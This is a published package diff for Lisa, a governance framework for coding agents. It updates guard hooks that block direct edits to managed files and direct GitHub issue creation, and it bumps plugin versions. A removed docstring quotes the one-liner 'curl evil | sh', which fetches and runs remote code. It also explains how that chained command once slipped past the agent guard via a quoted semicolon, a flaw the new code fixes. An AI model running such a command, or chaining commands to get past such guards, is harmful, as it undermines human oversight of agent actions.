@codyswann/lisa 4.59.3 → 4.59.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (72) hide show
  1. package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +33 -72
  2. package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +18 -10
  3. package/all/copy-overwrite/scripts/lisa-lint-staged-preflight.mjs +33 -9
  4. package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
  5. package/dist/core/lisa-owned-hash-ledger.js +6 -0
  6. package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
  7. package/dist/core/nightly-e2e-guard-behavior-certificate.js +2 -2
  8. package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
  9. package/dist/core/upstream-evidence-manifest.js +6 -5
  10. package/dist/core/upstream-evidence-manifest.js.map +1 -1
  11. package/dist/opencode/plugin-templates/block-managed-file-edits.sh +18 -10
  12. package/package.json +4 -4
  13. package/plugins/lisa/.claude-plugin/plugin.json +1 -1
  14. package/plugins/lisa/.codex-plugin/plugin.json +1 -1
  15. package/plugins/lisa/hooks/block-direct-issue-create.sh +33 -72
  16. package/plugins/lisa/hooks/block-managed-file-edits.sh +18 -10
  17. package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +33 -72
  18. package/plugins/lisa-agy/hooks/block-managed-file-edits.sh +18 -10
  19. package/plugins/lisa-agy/plugin.json +1 -1
  20. package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
  21. package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
  22. package/plugins/lisa-cdk-agy/plugin.json +1 -1
  23. package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
  24. package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
  25. package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
  26. package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +33 -72
  27. package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +18 -10
  28. package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
  29. package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +33 -72
  30. package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +18 -10
  31. package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
  32. package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
  33. package/plugins/lisa-expo-agy/plugin.json +1 -1
  34. package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
  35. package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
  36. package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
  37. package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
  38. package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
  39. package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
  40. package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
  41. package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
  42. package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
  43. package/plugins/lisa-nestjs-agy/plugin.json +1 -1
  44. package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
  45. package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
  46. package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
  47. package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
  48. package/plugins/lisa-openclaw-agy/plugin.json +1 -1
  49. package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
  50. package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
  51. package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
  52. package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
  53. package/plugins/lisa-phaser-agy/plugin.json +1 -1
  54. package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
  55. package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
  56. package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
  57. package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
  58. package/plugins/lisa-rails-agy/plugin.json +1 -1
  59. package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
  60. package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
  61. package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
  62. package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
  63. package/plugins/lisa-typescript-agy/plugin.json +1 -1
  64. package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
  65. package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
  66. package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
  67. package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
  68. package/plugins/lisa-wiki-agy/plugin.json +1 -1
  69. package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
  70. package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
  71. package/plugins/src/base/hooks/block-direct-issue-create.sh +33 -72
  72. package/plugins/src/base/hooks/block-managed-file-edits.sh +18 -10
@@ -325,7 +325,7 @@ managed_source() {
325
325
  # The distinction earns its keep because the two populations fail in OPPOSITE
326
326
  # ways, and a guard that gives one answer is wrong for half the files it covers:
327
327
  # an edited copy-overwrite file is PRESERVED and silently forks, while a
328
- # generated file is REBUILT and the edit vanishes on the next install.
328
+ # generated file is REBUILT and the edit vanishes on the next explicit apply.
329
329
  generated_path() {
330
330
  local rel="$1"
331
331
  local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
364
364
  local target="$1"
365
365
  local source="$2"
366
366
  local rel="$3"
367
- local consequence
368
367
  if generated_path "$rel"; then
369
- consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
370
- template and it is not preserved: the next \`bun install\` rebuilds it and your
371
- edit is gone, with nothing reporting that it had been.
372
-
373
- That is the opposite failure from the copy-overwrite files this guard also
374
- covers, where an edit SURVIVES and forks silently. Here the edit works locally,
375
- CI agrees because CI regenerates too, and it disappears on the next install."
376
- elif ledger_tracked "$rel"; then
368
+ cat >&2 <<EOF
369
+ BLOCKED: refusing to write \`$target\`.
370
+
371
+ WHY: this file is generated by \`lisa apply\` (\`$source\`).
372
+ \`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
373
+ rebuilds it, so a direct edit will be lost.
374
+
375
+ Change the generation source upstream in Lisa, or the supported project
376
+ configuration that supplies it, then run \`lisa apply\` to regenerate the file.
377
+
378
+ If a human explicitly asked for this edit, they can re-run with
379
+ \`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
380
+ EOF
381
+ exit 2
382
+ fi
383
+ local consequence
384
+ if ledger_tracked "$rel"; then
377
385
  consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
378
386
  and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
379
387
  whether it is out of date or deliberately stronger. Kept yours.\"
package/package.json CHANGED
@@ -187,7 +187,7 @@
187
187
  "zod-validation-error": "^4.0.0"
188
188
  },
189
189
  "name": "@codyswann/lisa",
190
- "version": "4.59.3",
190
+ "version": "4.59.4",
191
191
  "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
192
192
  "main": "dist/index.js",
193
193
  "exports": {
@@ -336,7 +336,7 @@
336
336
  "test": "tests"
337
337
  },
338
338
  "types": "./dist/index.d.ts",
339
- "lisaReleaseCommit": "f5a23dafc5d3db6f0cea17f755e8536a1229c67c",
340
- "gitHead": "f5a23dafc5d3db6f0cea17f755e8536a1229c67c",
341
- "lisaReleaseTag": "v4.59.3"
339
+ "lisaReleaseCommit": "6b6743812891ef43d6042b5d34531e380c2ac293",
340
+ "gitHead": "6b6743812891ef43d6042b5d34531e380c2ac293",
341
+ "lisaReleaseTag": "v4.59.4"
342
342
  }
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
1058
1058
  return "\n".join(output)
1059
1059
 
1060
1060
 
1061
- def quoted_token_mask(text, expected):
1062
- """Which token POSITIONS were quoted in the source.
1061
+ class LiteralToken(str):
1062
+ """A source word containing quoted data, never a standalone separator."""
1063
1063
 
1064
- shlex strips quotes, so by the time a token is in hand there is no way to
1065
- tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
1066
1064
 
1067
- A quoted token is DATA and must never be exploded on shell operators. An
1068
- unquoted one may be `true&&gh`, where the operator is structural and hiding
1069
- a command. That is the entire distinction.
1070
-
1071
- It must be answered PER OCCURRENCE, not per token value. Asking "does the
1072
- text contain a quoted `;`?" classifies every `;` in the command by whether
1073
- ANY of them was quoted, so
1074
-
1075
- gh issue create --title x --body ";" ; curl evil | sh
1076
-
1077
- exempted the real chaining semicolon because a different, quoted one
1078
- appeared in --body. That is a bypass of this guard, not a nuisance: the
1079
- exemption added to stop a false refusal became the way through.
1080
-
1081
- Lexing the same text a second time with `posix=False` preserves the quote
1082
- characters while producing the same tokens in the same order, so position
1083
- `i` answers for occurrence `i` and nothing else.
1084
-
1085
- Args:
1086
- text: The original command string.
1087
- expected: Token count from the posix lex, used to prove alignment.
1065
+ def explode_operators(tokens, text=""):
1066
+ """Separate unquoted operators without losing mixed-word quote boundaries.
1088
1067
 
1089
- Returns:
1090
- A list of booleans, one per token. Empty when the two lexes disagree,
1091
- which exempts nothing — an unreadable command must not be trusted.
1068
+ Hide each quoted or escaped source fragment before the ordinary shlex pass.
1069
+ Split operators while those fragments are opaque, then restore their values.
1070
+ Per-occurrence placeholders cannot exempt a different, unquoted separator.
1092
1071
  """
1093
- try:
1094
- raw = shlex.split(text, posix=False)
1095
- except ValueError:
1096
- return []
1097
- # Alignment is the whole basis for indexing one lex by the other's
1098
- # positions. If the two disagree, fail closed rather than exempt the wrong
1099
- # token: a missed exemption is a false refusal, a wrong one is a bypass.
1100
- if len(raw) != expected:
1101
- return []
1102
- return [token[:1] in ('"', "'") for token in raw]
1103
-
1072
+ operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
1073
+ if not text:
1074
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1104
1075
 
1105
- def explode_operators(tokens, text=""):
1106
- """Split shell control operators glued to adjacent words.
1076
+ prefix = "__lisa_literal_"
1077
+ while prefix in text:
1078
+ prefix += "_"
1079
+ values = []
1080
+ fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
1107
1081
 
1108
- `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
1109
- not `gh`, so the creation hid behind the operator. Splitting them out means
1110
- an operator can never be load-bearing punctuation inside a token.
1082
+ def hide(match):
1083
+ """Decode one protected fragment through the same POSIX lexer."""
1084
+ value = shlex.split(match.group(0), posix=True)
1085
+ values.append(value[0] if value else "")
1086
+ return prefix + str(len(values) - 1) + "__"
1111
1087
 
1112
- QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
1113
- measured false refusal: a `--title "Trim config; org preference"` was split on its
1114
- semicolon, the `--label status:ready` landed in a different segment from the
1115
- `gh issue create`, and the guard refused a correctly-formed filing while
1116
- telling the author to add the label they had already added. Recorded on
1117
- CodySwannGT/lisa#2634 after it blocked a real filing.
1088
+ masked = fragments.sub(hide, text)
1089
+ marker = re.compile(re.escape(prefix) + r"(\d+)__")
1118
1090
 
1119
- `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
1120
- tokenises the glued case correctly but shatters a GraphQL payload —
1121
- `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
1122
- the exact regression the GLUED_OPERATORS comment above records as having
1123
- silently un-refused every GraphQL creation.
1091
+ def restore(value):
1092
+ """Restore once, so decoded text cannot become another placeholder."""
1093
+ return marker.sub(lambda match: values[int(match.group(1))], value)
1124
1094
 
1125
- Args:
1126
- tokens: Tokens from shlex.
1127
- text: The original command string, used to detect quoting.
1095
+ shadow = shlex.split(masked, posix=True)
1096
+ if [restore(token) for token in shadow] != tokens:
1097
+ # If alignment cannot be established, grant no quoting exemptions.
1098
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1128
1099
 
1129
- Returns:
1130
- Tokens with operators separated out.
1131
- """
1132
- pattern = re.compile(
1133
- "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
1134
- )
1135
1100
  exploded = []
1136
- quoted = quoted_token_mask(text, len(tokens)) if text else []
1137
- for index, token in enumerate(tokens):
1138
- if index < len(quoted) and quoted[index]:
1139
- exploded.append(token)
1140
- continue
1141
- for piece in pattern.split(token):
1101
+ for token in shadow:
1102
+ for piece in operators.split(token):
1142
1103
  if piece:
1143
- exploded.append(piece)
1104
+ exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
1144
1105
  return exploded
1145
1106
 
1146
1107
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
1156
1117
  segments = []
1157
1118
  current = []
1158
1119
  for token in tokens:
1159
- if token in SEGMENT_BOUNDARIES:
1120
+ if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
1160
1121
  segments.append(current)
1161
1122
  current = []
1162
1123
  continue
@@ -325,7 +325,7 @@ managed_source() {
325
325
  # The distinction earns its keep because the two populations fail in OPPOSITE
326
326
  # ways, and a guard that gives one answer is wrong for half the files it covers:
327
327
  # an edited copy-overwrite file is PRESERVED and silently forks, while a
328
- # generated file is REBUILT and the edit vanishes on the next install.
328
+ # generated file is REBUILT and the edit vanishes on the next explicit apply.
329
329
  generated_path() {
330
330
  local rel="$1"
331
331
  local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
364
364
  local target="$1"
365
365
  local source="$2"
366
366
  local rel="$3"
367
- local consequence
368
367
  if generated_path "$rel"; then
369
- consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
370
- template and it is not preserved: the next \`bun install\` rebuilds it and your
371
- edit is gone, with nothing reporting that it had been.
372
-
373
- That is the opposite failure from the copy-overwrite files this guard also
374
- covers, where an edit SURVIVES and forks silently. Here the edit works locally,
375
- CI agrees because CI regenerates too, and it disappears on the next install."
376
- elif ledger_tracked "$rel"; then
368
+ cat >&2 <<EOF
369
+ BLOCKED: refusing to write \`$target\`.
370
+
371
+ WHY: this file is generated by \`lisa apply\` (\`$source\`).
372
+ \`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
373
+ rebuilds it, so a direct edit will be lost.
374
+
375
+ Change the generation source upstream in Lisa, or the supported project
376
+ configuration that supplies it, then run \`lisa apply\` to regenerate the file.
377
+
378
+ If a human explicitly asked for this edit, they can re-run with
379
+ \`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
380
+ EOF
381
+ exit 2
382
+ fi
383
+ local consequence
384
+ if ledger_tracked "$rel"; then
377
385
  consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
378
386
  and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
379
387
  whether it is out of date or deliberately stronger. Kept yours.\"
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
1058
1058
  return "\n".join(output)
1059
1059
 
1060
1060
 
1061
- def quoted_token_mask(text, expected):
1062
- """Which token POSITIONS were quoted in the source.
1061
+ class LiteralToken(str):
1062
+ """A source word containing quoted data, never a standalone separator."""
1063
1063
 
1064
- shlex strips quotes, so by the time a token is in hand there is no way to
1065
- tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
1066
1064
 
1067
- A quoted token is DATA and must never be exploded on shell operators. An
1068
- unquoted one may be `true&&gh`, where the operator is structural and hiding
1069
- a command. That is the entire distinction.
1070
-
1071
- It must be answered PER OCCURRENCE, not per token value. Asking "does the
1072
- text contain a quoted `;`?" classifies every `;` in the command by whether
1073
- ANY of them was quoted, so
1074
-
1075
- gh issue create --title x --body ";" ; curl evil | sh
1076
-
1077
- exempted the real chaining semicolon because a different, quoted one
1078
- appeared in --body. That is a bypass of this guard, not a nuisance: the
1079
- exemption added to stop a false refusal became the way through.
1080
-
1081
- Lexing the same text a second time with `posix=False` preserves the quote
1082
- characters while producing the same tokens in the same order, so position
1083
- `i` answers for occurrence `i` and nothing else.
1084
-
1085
- Args:
1086
- text: The original command string.
1087
- expected: Token count from the posix lex, used to prove alignment.
1065
+ def explode_operators(tokens, text=""):
1066
+ """Separate unquoted operators without losing mixed-word quote boundaries.
1088
1067
 
1089
- Returns:
1090
- A list of booleans, one per token. Empty when the two lexes disagree,
1091
- which exempts nothing — an unreadable command must not be trusted.
1068
+ Hide each quoted or escaped source fragment before the ordinary shlex pass.
1069
+ Split operators while those fragments are opaque, then restore their values.
1070
+ Per-occurrence placeholders cannot exempt a different, unquoted separator.
1092
1071
  """
1093
- try:
1094
- raw = shlex.split(text, posix=False)
1095
- except ValueError:
1096
- return []
1097
- # Alignment is the whole basis for indexing one lex by the other's
1098
- # positions. If the two disagree, fail closed rather than exempt the wrong
1099
- # token: a missed exemption is a false refusal, a wrong one is a bypass.
1100
- if len(raw) != expected:
1101
- return []
1102
- return [token[:1] in ('"', "'") for token in raw]
1103
-
1072
+ operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
1073
+ if not text:
1074
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1104
1075
 
1105
- def explode_operators(tokens, text=""):
1106
- """Split shell control operators glued to adjacent words.
1076
+ prefix = "__lisa_literal_"
1077
+ while prefix in text:
1078
+ prefix += "_"
1079
+ values = []
1080
+ fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
1107
1081
 
1108
- `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
1109
- not `gh`, so the creation hid behind the operator. Splitting them out means
1110
- an operator can never be load-bearing punctuation inside a token.
1082
+ def hide(match):
1083
+ """Decode one protected fragment through the same POSIX lexer."""
1084
+ value = shlex.split(match.group(0), posix=True)
1085
+ values.append(value[0] if value else "")
1086
+ return prefix + str(len(values) - 1) + "__"
1111
1087
 
1112
- QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
1113
- measured false refusal: a `--title "Trim config; org preference"` was split on its
1114
- semicolon, the `--label status:ready` landed in a different segment from the
1115
- `gh issue create`, and the guard refused a correctly-formed filing while
1116
- telling the author to add the label they had already added. Recorded on
1117
- CodySwannGT/lisa#2634 after it blocked a real filing.
1088
+ masked = fragments.sub(hide, text)
1089
+ marker = re.compile(re.escape(prefix) + r"(\d+)__")
1118
1090
 
1119
- `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
1120
- tokenises the glued case correctly but shatters a GraphQL payload —
1121
- `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
1122
- the exact regression the GLUED_OPERATORS comment above records as having
1123
- silently un-refused every GraphQL creation.
1091
+ def restore(value):
1092
+ """Restore once, so decoded text cannot become another placeholder."""
1093
+ return marker.sub(lambda match: values[int(match.group(1))], value)
1124
1094
 
1125
- Args:
1126
- tokens: Tokens from shlex.
1127
- text: The original command string, used to detect quoting.
1095
+ shadow = shlex.split(masked, posix=True)
1096
+ if [restore(token) for token in shadow] != tokens:
1097
+ # If alignment cannot be established, grant no quoting exemptions.
1098
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1128
1099
 
1129
- Returns:
1130
- Tokens with operators separated out.
1131
- """
1132
- pattern = re.compile(
1133
- "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
1134
- )
1135
1100
  exploded = []
1136
- quoted = quoted_token_mask(text, len(tokens)) if text else []
1137
- for index, token in enumerate(tokens):
1138
- if index < len(quoted) and quoted[index]:
1139
- exploded.append(token)
1140
- continue
1141
- for piece in pattern.split(token):
1101
+ for token in shadow:
1102
+ for piece in operators.split(token):
1142
1103
  if piece:
1143
- exploded.append(piece)
1104
+ exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
1144
1105
  return exploded
1145
1106
 
1146
1107
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
1156
1117
  segments = []
1157
1118
  current = []
1158
1119
  for token in tokens:
1159
- if token in SEGMENT_BOUNDARIES:
1120
+ if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
1160
1121
  segments.append(current)
1161
1122
  current = []
1162
1123
  continue
@@ -325,7 +325,7 @@ managed_source() {
325
325
  # The distinction earns its keep because the two populations fail in OPPOSITE
326
326
  # ways, and a guard that gives one answer is wrong for half the files it covers:
327
327
  # an edited copy-overwrite file is PRESERVED and silently forks, while a
328
- # generated file is REBUILT and the edit vanishes on the next install.
328
+ # generated file is REBUILT and the edit vanishes on the next explicit apply.
329
329
  generated_path() {
330
330
  local rel="$1"
331
331
  local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
364
364
  local target="$1"
365
365
  local source="$2"
366
366
  local rel="$3"
367
- local consequence
368
367
  if generated_path "$rel"; then
369
- consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
370
- template and it is not preserved: the next \`bun install\` rebuilds it and your
371
- edit is gone, with nothing reporting that it had been.
372
-
373
- That is the opposite failure from the copy-overwrite files this guard also
374
- covers, where an edit SURVIVES and forks silently. Here the edit works locally,
375
- CI agrees because CI regenerates too, and it disappears on the next install."
376
- elif ledger_tracked "$rel"; then
368
+ cat >&2 <<EOF
369
+ BLOCKED: refusing to write \`$target\`.
370
+
371
+ WHY: this file is generated by \`lisa apply\` (\`$source\`).
372
+ \`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
373
+ rebuilds it, so a direct edit will be lost.
374
+
375
+ Change the generation source upstream in Lisa, or the supported project
376
+ configuration that supplies it, then run \`lisa apply\` to regenerate the file.
377
+
378
+ If a human explicitly asked for this edit, they can re-run with
379
+ \`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
380
+ EOF
381
+ exit 2
382
+ fi
383
+ local consequence
384
+ if ledger_tracked "$rel"; then
377
385
  consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
378
386
  and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
379
387
  whether it is out of date or deliberately stronger. Kept yours.\"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "AWS CDK-specific Lisa plugin.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-cdk",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "AWS CDK-specific plugin",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa",
3
- "version": "4.59.3",
3
+ "version": "4.59.4",
4
4
  "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
1058
1058
  return "\n".join(output)
1059
1059
 
1060
1060
 
1061
- def quoted_token_mask(text, expected):
1062
- """Which token POSITIONS were quoted in the source.
1061
+ class LiteralToken(str):
1062
+ """A source word containing quoted data, never a standalone separator."""
1063
1063
 
1064
- shlex strips quotes, so by the time a token is in hand there is no way to
1065
- tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
1066
1064
 
1067
- A quoted token is DATA and must never be exploded on shell operators. An
1068
- unquoted one may be `true&&gh`, where the operator is structural and hiding
1069
- a command. That is the entire distinction.
1070
-
1071
- It must be answered PER OCCURRENCE, not per token value. Asking "does the
1072
- text contain a quoted `;`?" classifies every `;` in the command by whether
1073
- ANY of them was quoted, so
1074
-
1075
- gh issue create --title x --body ";" ; curl evil | sh
1076
-
1077
- exempted the real chaining semicolon because a different, quoted one
1078
- appeared in --body. That is a bypass of this guard, not a nuisance: the
1079
- exemption added to stop a false refusal became the way through.
1080
-
1081
- Lexing the same text a second time with `posix=False` preserves the quote
1082
- characters while producing the same tokens in the same order, so position
1083
- `i` answers for occurrence `i` and nothing else.
1084
-
1085
- Args:
1086
- text: The original command string.
1087
- expected: Token count from the posix lex, used to prove alignment.
1065
+ def explode_operators(tokens, text=""):
1066
+ """Separate unquoted operators without losing mixed-word quote boundaries.
1088
1067
 
1089
- Returns:
1090
- A list of booleans, one per token. Empty when the two lexes disagree,
1091
- which exempts nothing — an unreadable command must not be trusted.
1068
+ Hide each quoted or escaped source fragment before the ordinary shlex pass.
1069
+ Split operators while those fragments are opaque, then restore their values.
1070
+ Per-occurrence placeholders cannot exempt a different, unquoted separator.
1092
1071
  """
1093
- try:
1094
- raw = shlex.split(text, posix=False)
1095
- except ValueError:
1096
- return []
1097
- # Alignment is the whole basis for indexing one lex by the other's
1098
- # positions. If the two disagree, fail closed rather than exempt the wrong
1099
- # token: a missed exemption is a false refusal, a wrong one is a bypass.
1100
- if len(raw) != expected:
1101
- return []
1102
- return [token[:1] in ('"', "'") for token in raw]
1103
-
1072
+ operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
1073
+ if not text:
1074
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1104
1075
 
1105
- def explode_operators(tokens, text=""):
1106
- """Split shell control operators glued to adjacent words.
1076
+ prefix = "__lisa_literal_"
1077
+ while prefix in text:
1078
+ prefix += "_"
1079
+ values = []
1080
+ fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
1107
1081
 
1108
- `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
1109
- not `gh`, so the creation hid behind the operator. Splitting them out means
1110
- an operator can never be load-bearing punctuation inside a token.
1082
+ def hide(match):
1083
+ """Decode one protected fragment through the same POSIX lexer."""
1084
+ value = shlex.split(match.group(0), posix=True)
1085
+ values.append(value[0] if value else "")
1086
+ return prefix + str(len(values) - 1) + "__"
1111
1087
 
1112
- QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
1113
- measured false refusal: a `--title "Trim config; org preference"` was split on its
1114
- semicolon, the `--label status:ready` landed in a different segment from the
1115
- `gh issue create`, and the guard refused a correctly-formed filing while
1116
- telling the author to add the label they had already added. Recorded on
1117
- CodySwannGT/lisa#2634 after it blocked a real filing.
1088
+ masked = fragments.sub(hide, text)
1089
+ marker = re.compile(re.escape(prefix) + r"(\d+)__")
1118
1090
 
1119
- `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
1120
- tokenises the glued case correctly but shatters a GraphQL payload —
1121
- `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
1122
- the exact regression the GLUED_OPERATORS comment above records as having
1123
- silently un-refused every GraphQL creation.
1091
+ def restore(value):
1092
+ """Restore once, so decoded text cannot become another placeholder."""
1093
+ return marker.sub(lambda match: values[int(match.group(1))], value)
1124
1094
 
1125
- Args:
1126
- tokens: Tokens from shlex.
1127
- text: The original command string, used to detect quoting.
1095
+ shadow = shlex.split(masked, posix=True)
1096
+ if [restore(token) for token in shadow] != tokens:
1097
+ # If alignment cannot be established, grant no quoting exemptions.
1098
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1128
1099
 
1129
- Returns:
1130
- Tokens with operators separated out.
1131
- """
1132
- pattern = re.compile(
1133
- "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
1134
- )
1135
1100
  exploded = []
1136
- quoted = quoted_token_mask(text, len(tokens)) if text else []
1137
- for index, token in enumerate(tokens):
1138
- if index < len(quoted) and quoted[index]:
1139
- exploded.append(token)
1140
- continue
1141
- for piece in pattern.split(token):
1101
+ for token in shadow:
1102
+ for piece in operators.split(token):
1142
1103
  if piece:
1143
- exploded.append(piece)
1104
+ exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
1144
1105
  return exploded
1145
1106
 
1146
1107
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
1156
1117
  segments = []
1157
1118
  current = []
1158
1119
  for token in tokens:
1159
- if token in SEGMENT_BOUNDARIES:
1120
